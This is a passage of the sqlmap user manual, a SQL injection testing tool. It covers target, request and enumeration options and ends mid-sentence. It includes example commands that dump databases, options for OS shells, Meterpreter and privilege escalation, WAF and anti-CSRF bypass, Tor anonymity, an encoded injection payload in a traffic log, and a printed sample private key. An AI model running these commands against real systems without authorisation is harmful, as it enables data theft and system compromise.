Sqlmap Manual
User Manual:
Open the PDF directly: View PDF .
Page Count: 25
Download | |
Open PDF In Browser | View PDF |
Usage: python sqlmap.py [options] Options: -h, --help -hh --version -v VERBOSE Show basic help message and exit Show advanced help message and exit Show program's version number and exit Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -d -u -l -x -m -r -g -c DIRECT URL, --url=URL LOGFILE SITEMAPURL BULKFILE REQUESTFILE GOOGLEDORK CONFIGFILE Connection string for direct database connection Target URL (e.g. "http://www.site.com/vuln.php?id=1") Parse target(s) from Burp or WebScarab proxy log file Parse target(s) from remote sitemap(.xml) file Scan multiple targets given in a textual file Load HTTP request from a file Process Google dork results as target URLs Load options from a configuration INI file Request: These options can be used to specify how to connect to the target URL --method=METHOD --data=DATA --param-del=PARA.. --cookie=COOKIE --cookie-del=COO.. --load-cookies=L.. --drop-set-cookie --user-agent=AGENT --random-agent --host=HOST --referer=REFERER -H HEADER, --hea.. --headers=HEADERS --auth-type=AUTH.. --auth-cred=AUTH.. --auth-file=AUTH.. --ignore-code=IG.. --ignore-proxy --ignore-redirects --ignore-timeouts --proxy=PROXY --proxy-cred=PRO.. --proxy-file=PRO.. --tor --tor-port=TORPORT --tor-type=TORTYPE --check-tor --delay=DELAY --timeout=TIMEOUT --retries=RETRIES --randomize=RPARAM --safe-url=SAFEURL --safe-post=SAFE.. --safe-req=SAFER.. --safe-freq=SAFE.. --skip-urlencode --csrf-token=CSR.. --csrf-url=CSRFURL --force-ssl --hpp --eval=EVALCODE Force usage of given HTTP method (e.g. PUT) Data string to be sent through POST Character used for splitting parameter values HTTP Cookie header value Character used for splitting cookie values File containing cookies in Netscape/wget format Ignore Set-Cookie header from response HTTP User-Agent header value Use randomly selected HTTP User-Agent header value HTTP Host header value HTTP Referer header value Extra header (e.g. "X-Forwarded-For: 127.0.0.1") Extra headers (e.g. "Accept-Language: fr\nETag: 123") HTTP authentication type (Basic, Digest, NTLM or PKI) HTTP authentication credentials (name:password) HTTP authentication PEM cert/private key file Ignore HTTP error code (e.g. 401) Ignore system default proxy settings Ignore redirection attempts Ignore connection timeouts Use a proxy to connect to the target URL Proxy authentication credentials (name:password) Load proxy list from a file Use Tor anonymity network Set Tor proxy port other than default Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default)) Check to see if Tor is used properly Delay in seconds between each HTTP request Seconds to wait before timeout connection (default 30) Retries when the connection timeouts (default 3) Randomly change value for given parameter(s) URL address to visit frequently during testing POST data to send to a safe URL Load safe HTTP request from a file Test requests between two visits to a given safe URL Skip URL encoding of payload data Parameter used to hold anti-CSRF token URL address to visit to extract anti-CSRF token Force usage of SSL/HTTPS Use HTTP parameter pollution method Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") Optimization: These options can be used to optimize the performance of sqlmap -o --predict-output --keep-alive --null-connection --threads=THREADS Turn on all optimization switches Predict common queries output Use persistent HTTP(s) connections Retrieve page length without actual HTTP response body Max number of concurrent HTTP(s) requests (default 1) Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER --skip=SKIP --skip-static --param-exclude=.. --dbms=DBMS --dbms-cred=DBMS.. --os=OS --invalid-bignum --invalid-logical --invalid-string --no-cast --no-escape --prefix=PREFIX --suffix=SUFFIX --tamper=TAMPER Testable parameter(s) Skip testing for given parameter(s) Skip testing parameters that not appear to be dynamic Regexp to exclude parameters from testing (e.g. "ses") Force back-end DBMS to this value DBMS authentication credentials (user:password) Force back-end DBMS operating system to this value Use big numbers for invalidating values Use logical operations for invalidating values Use random strings for invalidating values Turn off payload casting mechanism Turn off string escaping mechanism Injection payload prefix string Injection payload suffix string Use given script(s) for tampering injection data Detection: These options can be used to customize the detection phase --level=LEVEL --risk=RISK --string=STRING --not-string=NOT.. --regexp=REGEXP --code=CODE --text-only --titles Level of tests to perform (1-5, default 1) Risk of tests to perform (1-3, default 1) String to match when query is evaluated to True String to match when query is evaluated to False Regexp to match when query is evaluated to True HTTP code to match when query is evaluated to True Compare pages based only on the textual content Compare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH --time-sec=TIMESEC --union-cols=UCOLS --union-char=UCHAR --union-from=UFROM --dns-domain=DNS.. --second-order=S.. Fingerprint: -f, --fingerprint SQL injection techniques to use (default "BEUSTQ") Seconds to delay the DBMS response (default 5) Range of columns to test for UNION query SQL injection Character to use for bruteforcing number of columns Table to use in FROM part of UNION query SQL injection Domain name used for DNS exfiltration attack Resulting page URL searched for second-order response Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements -a, --all -b, --banner --current-user --current-db Retrieve Retrieve Retrieve Retrieve everything DBMS banner DBMS current user DBMS current database --hostname --is-dba --users --passwords --privileges --roles --dbs --tables --columns --schema --count --dump --dump-all --search --comments -D DB -T TBL -C COL -X EXCLUDECOL -U USER --exclude-sysdbs --pivot-column=P.. --where=DUMPWHERE --start=LIMITSTART --stop=LIMITSTOP --first=FIRSTCHAR --last=LASTCHAR --sql-query=QUERY --sql-shell --sql-file=SQLFILE Retrieve DBMS server hostname Detect if the DBMS current user is DBA Enumerate DBMS users Enumerate DBMS users password hashes Enumerate DBMS users privileges Enumerate DBMS users roles Enumerate DBMS databases Enumerate DBMS database tables Enumerate DBMS database table columns Enumerate DBMS schema Retrieve number of entries for table(s) Dump DBMS database table entries Dump all DBMS databases tables entries Search column(s), table(s) and/or database name(s) Retrieve DBMS comments DBMS database to enumerate DBMS database table(s) to enumerate DBMS database table column(s) to enumerate DBMS database table column(s) to not enumerate DBMS user to enumerate Exclude DBMS system databases when enumerating tables Pivot column name Use WHERE condition while table dumping First dump table entry to retrieve Last dump table entry to retrieve First query output word character to retrieve Last query output word character to retrieve SQL statement to be executed Prompt for an interactive SQL shell Execute SQL statements from given file(s) Brute force: These options can be used to run brute force checks --common-tables --common-columns Check existence of common tables Check existence of common columns User-defined function injection: These options can be used to create custom user-defined functions --udf-inject --shared-lib=SHLIB Inject custom user-defined functions Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system --file-read=RFILE --file-write=WFILE --file-dest=DFILE Read a file from the back-end DBMS file system Write a local file on the back-end DBMS file system Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmd=OSCMD --os-shell --os-pwn --os-smbrelay --os-bof --priv-esc --msf-path=MSFPATH --tmp-path=TMPPATH Execute an operating system command Prompt for an interactive operating system shell Prompt for an OOB shell, Meterpreter or VNC One click prompt for an OOB shell, Meterpreter or VNC Stored procedure buffer overflow exploitation Database process user privilege escalation Local path where Metasploit Framework is installed Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read --reg-add --reg-del --reg-key=REGKEY --reg-value=REGVAL --reg-data=REGDATA --reg-type=REGTYPE Read a Windows registry key value Write a Windows registry key value data Delete a Windows registry key value Windows registry key Windows registry key value Windows registry key value data Windows registry key value type General: These options can be used to set some general working parameters -s SESSIONFILE -t TRAFFICFILE --batch --binary-fields=.. --check-internet --crawl=CRAWLDEPTH --crawl-exclude=.. --csv-del=CSVDEL --charset=CHARSET --dump-format=DU.. --encoding=ENCOD.. --eta --flush-session --forms --fresh-queries --har=HARFILE --hex --output-dir=OUT.. --parse-errors --save=SAVECONFIG --scope=SCOPE --test-filter=TE.. --test-skip=TEST.. --update Load session from a stored (.sqlite) file Log all HTTP traffic into a textual file Never ask for user input, use the default behaviour Result fields having binary values (e.g. "digest") Check Internet connection before assessing the target Crawl the website starting from the target URL Regexp to exclude pages from crawling (e.g. "logout") Delimiting character used in CSV output (default ",") Blind SQL injection charset (e.g. "0123456789abcdef") Format of dumped data (CSV (default), HTML or SQLITE) Character encoding used for data retrieval (e.g. GBK) Display for each output the estimated time of arrival Flush session files for current target Parse and test forms on target URL Ignore query results stored in session file Log all HTTP traffic into a HAR file Use DBMS hex function(s) for data retrieval Custom output directory path Parse and display DBMS error messages from responses Save options to a configuration INI file Regexp to filter targets from provided proxy log Select tests by payloads and/or titles (e.g. ROW) Skip tests by payloads and/or titles (e.g. BENCHMARK) Update sqlmap Miscellaneous: -z MNEMONICS --alert=ALERT --answers=ANSWERS --beep --cleanup --dependencies --disable-coloring --gpage=GOOGLEPAGE --identify-waf --mobile --offline --purge-output --skip-waf --smart --sqlmap-shell --tmp-dir=TMPDIR --web-root=WEBROOT --wizard Use short mnemonics (e.g. "flu,bat,ban,tec=EU") Run host OS command(s) when SQL injection is found Set question answers (e.g. "quit=N,follow=N") Beep on question and/or when SQL injection is found Clean up the DBMS from sqlmap specific UDF and tables Check for missing (non-core) sqlmap dependencies Disable console output coloring Use Google dork results from specified page number Make a thorough testing for a WAF/IPS/IDS protection Imitate smartphone through HTTP User-Agent header Work in offline mode (only use session data) Safely remove all content from output directory Skip heuristic detection of WAF/IPS/IDS protection Conduct thorough tests only if positive heuristic(s) Prompt for an interactive sqlmap shell Local directory for storing temporary files Web server document root directory (e.g. "/var/www") Simple wizard interface for beginner users Output verbosity Option: -v This option can be used to set the verbosity level of output messages. There exist seven levels of verbosity. The default level is 1 in which information, warning, error, critical messages and Python tracebacks (if any occur) are displayed. 0: Show only Python tracebacks, error and critical messages. • 1: Show also information and warning messages. • 2: Show also debug messages. • 3: Show also payloads injected. • 4: Show also HTTP requests. • 5: Show also HTTP responses' headers. • 6: Show also HTTP responses' page content. • A reasonable level of verbosity to further understand what sqlmap does under the hood is level 2, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level 3 is your best choice. This level is also recommended to be used when you feed the developers with a potential bug report, make sure you send along with the standard output the traffic log file generated with option -t. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level 4 or above. It should be noted that there is also a possibility to set the verbosity by using the shorter version of this option where number of letters v inside the provided switch (instead of option) determines the verbosity level (e.g. -v instead of -v 2, -vv instead of -v 3, vvv instead of -v 4, etc.) Target At least one of these options has be provided to set the target(s). Direct connection to the database Option: -d Run sqlmap against a single database instance. This option accepts a connection string in one of following forms: • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.) DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.) • For example: $ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\ er --dbs --users Target URL Option: -u or --url Run sqlmap against a single target URL. This option requires a target URL in following form: http(s)://targeturl[:port]/[...] For example: $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\ -users Parse targets from Burp or WebScarab proxy logs Option: -l Rather than providing a single target URL, it is possible to test and inject against HTTP requests proxied through Burp proxy or WebScarab proxy. This option requires an argument which is the proxy's HTTP requests log file. Parse targets from remote sitemap(.xml) file Option: -x A sitemap is a file where web admins can list the web page locations of their site to tell search engines about the site content's organization. You can provide a sitemap's location to sqlmap by using option -x (e.g. -x http://www.target.com/sitemap.xml) so it could find usable target URLs for scanning purposes. Scan multiple targets enlisted in a given textual file Option: -m Providing list of target URLs enlisted in a given bulk file, sqlmap will scan each of those one by one. Sample content of a bulk file provided as an argument to this option: www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1* Load HTTP request from a file Option: -r One of the possibilities of sqlmap is loading of raw HTTP request from a textual file. That way you can skip usage of a number of other options (e.g. setting of cookies, POSTed data, etc). Sample content of a HTTP request file provided as an argument to this option: POST /vuln.php HTTP/1.1 Host: www.target.com User-Agent: Mozilla/4.0 id=1 Note that if the request is over HTTPS, you can use this in conjunction with switch --force-ssl to force SSL connection to 443/tcp. Alternatively, you can append :443 to the end of the Host header value. Process Google dork results as target addresses Option: -g It is also possible to test and inject on GET parameters based on results of your Google dork. This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL. For example: $ python sqlmap.py -g "inurl:\".php?id=1\"" Load options from a configuration INI file Option: -c It is possible to pass user's options from a configuration INI file, an example is sqlmap.conf. Note that if you provide other options from command line, those are evaluated when running sqlmap and overwrite those provided in the configuration file. Request These options can be used to specify how to connect to the target URL. HTTP method Option: --method sqlmap automatically detects the proper HTTP method to be used in HTTP requests. Nevertheless, in some cases, it is required to force the usage of specific HTTP method (e.g. PUT) that is not used by automatism. This is possible with usage of this option (e.g. --method=PUT). HTTP data Option: --data By default the HTTP method used to perform HTTP requests is GET, but you can implicitly change it to POST by providing the data to be sent in the POST requests. Such data, being those parameters, are tested for SQL injection as well as any provided GET parameters. For example: $ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\ r --dbs --users Parameter splitting character Option: --param-del There are cases when default parameter delimiter (e.g. & in GET and POST data) needs to be overwritten for sqlmap to be able to properly split and process each parameter separately. For example: $ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\ 1" --param-del=";" -f --banner --dbs --users HTTP Cookie header Options and switch: --cookie, --cookie-del, --load-cookies and --drop-set-cookie These options and switches can be used in two situations: The web application requires authentication based upon cookies and you have such data. • You want to detect and exploit SQL injection on such header values. • Either reason brings you to need to send cookies with sqlmap requests, the steps to go through are the following: Login to the application with your favourite browser. • Get the HTTP Cookie from the browser's preferences or from the HTTP proxy screen and copy to the clipboard. Go back to your shell and run sqlmap by pasting your clipboard as value of the option --cookie. • Note that the HTTP Cookie header values are usually separated by a ; character, not by an &. sqlmap can recognize these as separate sets of parameter=value too, as well as GET and POST parameters. In case that the separation character is other than ; it can be specified by using option --cookie-del. If at any time during the communication, the web application responds with Set-Cookie headers, sqlmap will automatically use its value in all further HTTP requests as the Cookie header. sqlmap will also automatically test those values for SQL injection. This can be avoided by providing the switch --dropset-cookie - sqlmap will ignore any coming Set-Cookie header. Vice versa, if you provide a HTTP Cookie header with option --cookie and the target URL sends an HTTP Set-Cookie header at any time, sqlmap will ask you which set of cookies to use for the following HTTP requests. There is also an option --load-cookies which can be used to provide a special file containing Netscape/ wget formatted cookies. Note that also the HTTP Cookie header is tested against SQL injection if the --level is set to 2 or above. Read below for details. • HTTP User-Agent header Option and switch: --user-agent and --random-agent By default sqlmap performs HTTP requests with the following User-Agent header value: sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) However, it is possible to fake it with the option --user-agent by providing custom User-Agent as the option's argument. Moreover, by providing the switch --random-agent, sqlmap will randomly select a User-Agent from the ./txt/user-agents.txt textual file and use it for all HTTP requests within the session. Some sites perform a server-side check of HTTP User-Agent header value and fail the HTTP response if a valid User-Agent is not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows: [hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent Note that also the HTTP User-Agent header is tested against SQL injection if the --level is set to 3 or above. Read below for details. HTTP Host header Option: --host You can manually set HTTP Host header value. By default HTTP Host header is parsed from a provided target URL. Note that also the HTTP Host header is tested against SQL injection if the --level is set to 5. Read below for details. HTTP Referer header Option: --referer It is possible to fake the HTTP Referer header value. By default no HTTP Referer header is sent in HTTP requests if not explicitly set. Note that also the HTTP Referer header is tested against SQL injection if the --level is set to 3 or above. Read below for details. Extra HTTP headers Option: --headers It is possible to provide extra HTTP headers by setting the option --headers. Each header must be separated by a newline and it is much easier to provide them from the configuration INI file. You can take a look at the sample sqlmap.conf file for such case. Example against a MySQL target: $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \ "ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5 [...] [xx:xx:44] [TRAFFIC OUT] HTTP request [#5]: GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\ OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\ 0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\ CTER_SETS%20GROUP%20BY%20x%29a% 29 HTTP/1.1 Host: www.target.com Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-agent: Firefox 1.0 Connection: close [...] HTTP protocol authentication Options: --auth-type and --auth-cred These options can be used to specify which HTTP protocol authentication back-end web server implements and the valid credentials to be used to perform all HTTP requests to the target application. The three supported HTTP protocol authentication mechanisms are: Basic • Digest • NTLM • While the credentials' syntax is username:password. Example of valid syntax: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\ =1" --auth-type Basic --auth-cred "testuser:testpass" HTTP protocol private key authentication Option: --auth-file This option should be used in cases when the web server requires proper client-side certificate and a private key for authentication. Supplied value should be a PEM formatted key_file that contains your certificate and a private key. Example of generation of a key_file.txt that is compatible with --auth-file: $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout auth_file.key -out auth_file.pem &&\ cat auth_file.key auth_file.pem > auth_file.txt && cat auth_file.txt Generating a 2048 bit RSA private key .........+++ ...........+++ writing new private key to 'auth_file.key' ----You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []: Email Address []: -----BEGIN PRIVATE KEY----MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCWM28J1ua2DINf VLU28oeJwQidL9vTRoGJR5pfBU6Mhu33Cv6RuVEJAfMWEKYDSbqbrEyy1zUiNTcG mEd026Peq0SPRvsKsVb6K+EHVF3r+6ExXHEctPRbh2GIzi2kCQMkdHDg+DhmieQ9 9Haxk9IREJZTo2vC1ohvM5M/yubw4iwgMlDaW+4s82OgOcCLjewbPLFZU5gMV+8W XLKUttUYwV79duPbEvG9S1soNFHhu/MOcNiKJpH2zSegd9Dk5/OJRGX5xEiv7AyL 4shQLpAqn5kuZcm2K+ib/4x/Rw2yT1Slh2tQIi8RcwlYyycOrSqvhW7vvdqkblbY mQQyR2ChAgMBAAECggEBAIqvMveC1cOCCksbi7cQeNVYxvtcFT0e/LwkwQS7gat/ anmQTT2APrJyemEFPkQK76KNlMQMsaLEP+p28IOVydjvin5Aq8tTs1uK6Fw8Kfya elt5X3eCHZ3lgskuljW/nIcsfI08o9cJuxT5hB6yvmPDTQos+nMMYy1KEcv1LQd8 Y+QAmVQqMF5Nyf8Q6op6hWZIIJY5NDbRE0zYzhGcHWg2798Dx1sO0HT6TD8cNP8H AVp/V21tzpmFpe0A7NajgYEjkij6fg+6mG0j0WZdWymYXDeiTdDpwzs/SPRevBLn Okp/6vqtdekMeYL591MNBl8GRZpJW9gNLRX7vQ6YYAECgYEAxGV9e85GpLUd/uUb 1MvGajd+HtN/uoWH1ySG34vi3q/dDKBehry2yoDUosxXf9vbH0IrvaXnO8yXGflS wb2TELLezGWbw6kPaw2XIgL4elO5TPh2rNJwz1wOhv3FT2XSGJbXx/CED3mL7MGs qwRU/bRrNV7RmzV2veThlLCLjZECgYEAw8jm7vOzQQnqEjs0wlfJmzOyFqilYvEP 8v7HxDv1M7e7M0TqLECET9VlQE5spGuzEWN7/iMtE8xxnz2n/vGnGAV8qv1LJYrA TWQMTIC6V9/jKM8wNOfT7Eh1rJ1cty87yokXpy/cdmkv7yxb1b2zuBk8/1nlYqA0 5uqb345eWhECgYEAmoXv0TVfR8BpNWA2IZujJXc7+C0YVj0xwAixRbneaq+cEI8t UH2ypGnw45Y7UhI9ub5qg/DAmsBCMuGER4NM7tqNiex4Pd4Kj4RF4TDNKBIvvWvQ k/GPaNdZZsTMNcg7IbWtWVbX0QUlHsbTgEsMRAFsSLWt3ZyXLJmlE0REyMECgYEA oCqEscrwRC7GLK/+01ZZ+fvqnxrMYgrvj0zbRDAAwpR2MtUX9ae6Fk1vDZKa0k/B KGKIlzlTsTS5ZxpbivdKSR6EBKY+ibHe6/EDFrrgtu7TuRj2SPG2rz//9Hyv0rRz Z5eLoBxJcR1QN4vEfTE6C0uqWQPD4lFJtfcMGXEwwuECgYAK+4gwPBlrKClrRtDc 7Fnq8RLYeZRbM5WEmTHfRnlYylniMsj2K20H8ln8pdOqCE4iJn0SezIQIaAtcwMP WQt15kgJgLwM/uBtqDeWRpTEotVMFXQbZImobjpXUhTqu0NWBwbypM/zarfRWPJ4 fJkrlA16caVj3qGaX1lkm06OAA== -----END PRIVATE KEY---------BEGIN CERTIFICATE----MIIDXTCCAkWgAwIBAgIJALTHPlkIs/+KMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX aWRnaXRzIFB0eSBMdGQwHhcNMTgwODIyMDc0NTQxWhcNMTkwODIyMDc0NTQxWjBF MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50 ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAljNvCdbmtgyDX1S1NvKHicEInS/b00aBiUeaXwVOjIbt9wr+kblRCQHz FhCmA0m6m6xMstc1IjU3BphHdNuj3qtEj0b7CrFW+ivhB1Rd6/uhMVxxHLT0W4dh iM4tpAkDJHRw4Pg4ZonkPfR2sZPSERCWU6NrwtaIbzOTP8rm8OIsIDJQ2lvuLPNj oDnAi43sGzyxWVOYDFfvFlyylLbVGMFe/Xbj2xLxvUtbKDRR4bvzDnDYiiaR9s0n oHfQ5OfziURl+cRIr+wMi+LIUC6QKp+ZLmXJtivom/+Mf0cNsk9UpYdrUCIvEXMJ WMsnDq0qr4Vu773apG5W2JkEMkdgoQIDAQABo1AwTjAdBgNVHQ4EFgQUVvHI/2qF kmRCEWlWB+ZvJzWTnUkwHwYDVR0jBBgwFoAUVvHI/2qFkmRCEWlWB+ZvJzWTnUkw DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAg5tmkM75/NEEymu0ublj c2R1/ZxwbKMjg98KxLqGFJbPVRG0qgIy+uc+Gvh6FEgPF22i4L9DROfuDQW3YSJ6 x3JnJxLsU+jjXxtN7hNwoQziQkicKr0y47TjqOKLlBlKTbdnr74nJXSYQhi4qEFE qgrUG7ScitgLvcf2sDVf9L2SUsH5iRK+HlgYEtSKhUl5SkLapcUUF+GmectUOkm7 m7Z8gelenVUerLojnQL2avKD07hWTTGkgX2PV8hdun0WIvBLWAcJN+6T9sdakJZZ qJjFQBXjcxwgVe0vB0vJmqa5lj9OymQnBMjp+3zpUtDJNH2M1qySbU6tGEX1wsW/ VA== -----END CERTIFICATE----Ignore HTTP error 401 (Unauthorized) Switch --ignore-401 In case that you want to test the site that occasionally returns HTTP error 401 (Unauthorized), while you want to ignore it and continue tests without providing proper credentials, you can use switch -ignore-401 HTTP(S) proxy Options and switch: --proxy, --proxy-cred, --proxy-file and --ignore-proxy It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) requests to the target URL with option --proxy. The syntax of HTTP(S) proxy value is http://url:port. If the HTTP(S) proxy requires authentication, you can provide the credentials in the format username:password to the option --proxy-cred. In case that you want to use (disposable) proxy list, skipping to the next proxy on any sign of a connection problem (e.g. blocking of invasive IP address), option --proxy-file can be used by providing filename of a file containing bulk list of proxies. Switch --ignore-proxy should be used when you want to run sqlmap against a target part of a local area network by ignoring the system-wide set HTTP(S) proxy server setting. Tor anonymity network Switches and options: --tor, --tor-port, --tor-type and --check-tor If, for any reason, you need to stay anonymous, instead of passing by a single predefined HTTP(S) proxy server, you can configure a Tor client together with Privoxy (or similar) on your machine as explained in Tor installation guides. Then you can use a switch --tor and sqlmap will try to automatically set Tor proxy connection settings. In case that you want to manually set the type and port of used Tor proxy, you can do it with options -tor-type and --tor-port (e.g. --tor-type=SOCKS5 --tor-port 9050). You are strongly advised to use --check-tor occasionally to be sure that everything was set up properly. There are cases when Tor bundles (e.g. Vidalia) come misconfigured (or reset previously set configuration) giving you a false sense of anonymity. Using this switch sqlmap will check that everything works as expected by sending a single request to an official Are you using Tor? page before any target requests. In case that check fails, sqlmap will warn you and abruptly exit. Delay between each HTTP request Option: --delay It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a float, for instance 0.5 means half a second. By default, no delay is set. Seconds to wait before timeout connection Option: --timeout It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. By default 30 seconds are set. Maximum number of retries when the HTTP connection timeouts Option: --retries It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default it retries up to three times. Randomly change value for given parameter(s) Option: --randomize It is possible to specify parameter names whose values you want to be randomly changed during each request. Length and type are being kept according to provided original values. Filtering targets from provided proxy log using regular expression Option: --scope Rather than using all hosts parsed from provided logs with option -l, you can specify valid Python regular expression to be used for filtering desired ones. Example of valid syntax: $ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)" Avoid your session to be destroyed after too many unsuccessful requests Options: --safe-url, --safe-post, --safe-req and --safe-freq Sometimes web applications or inspection technology in between destroys the session if a certain number of unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily returns output and might therefore raise a signal to either the application session management or the inspection technology. To bypass this limitation set by the target, you can provide any (or combination of) option: --safe-url: URL address to visit frequently during testing. • • --safe-post: HTTP POST data to send to a given safe URL address. • --safe-req: Load and use safe HTTP request from a file. --safe-freq: Test requests between two visits to a given safe location. • This way, sqlmap will visit every a predefined number of requests a certain safe URL without performing any kind of injection against it. Turn off URL encoding of parameter values Switch: --skip-urlencode Depending on parameter placement (e.g. GET) its value could be URL encoded by default. In some cases, back-end web servers do not follow RFC standards and require values to be send in their raw non-encoded form. Use --skip-urlencode in those kind of cases. Bypass anti-CSRF protection Options: --csrf-token and --csrf-url Lots of sites incorporate anti-CSRF protection in form of tokens, hidden field values that are randomly set during each page response. sqlmap will automatically try to recognize and bypass that kind of protection, but there are options --csrf-token and --csrf-url that can be used to further fine tune it. Option -csrf-token can be used to set the name of the hidden value that contains the randomized token. This is useful in cases when web sites use non-standard names for such fields. Option --csrf-url can be used for retrieval of the token value from arbitrary URL address. This is useful if the vulnerable target URL doesn't contain the necessary token value in the first place, but it is required to extract it from some other location. Force usage of SSL/HTTPS Switch: --force-ssl In case that user wants to force usage of SSL/HTTPS requests toward the target, he can use this switch. This can be useful in cases when urls are being collected by using option --crawl or when Burp log is being provided with option -l. Evaluate custom python code during each request Option: --eval In case that user wants to change (or add new) parameter values, most probably because of some known dependency, he can provide to sqlmap a custom python code with option --eval that will be evaluated just before each request. For example: $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\ 20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()" Each request of such run will re-evaluate value of GET parameter hash to contain a fresh MD5 hash digest for current value of parameter id. Optimization These switches can be used to optimize the performance of sqlmap. Bundle optimization Switch: -o This switch is an alias that implicitly sets the following options and 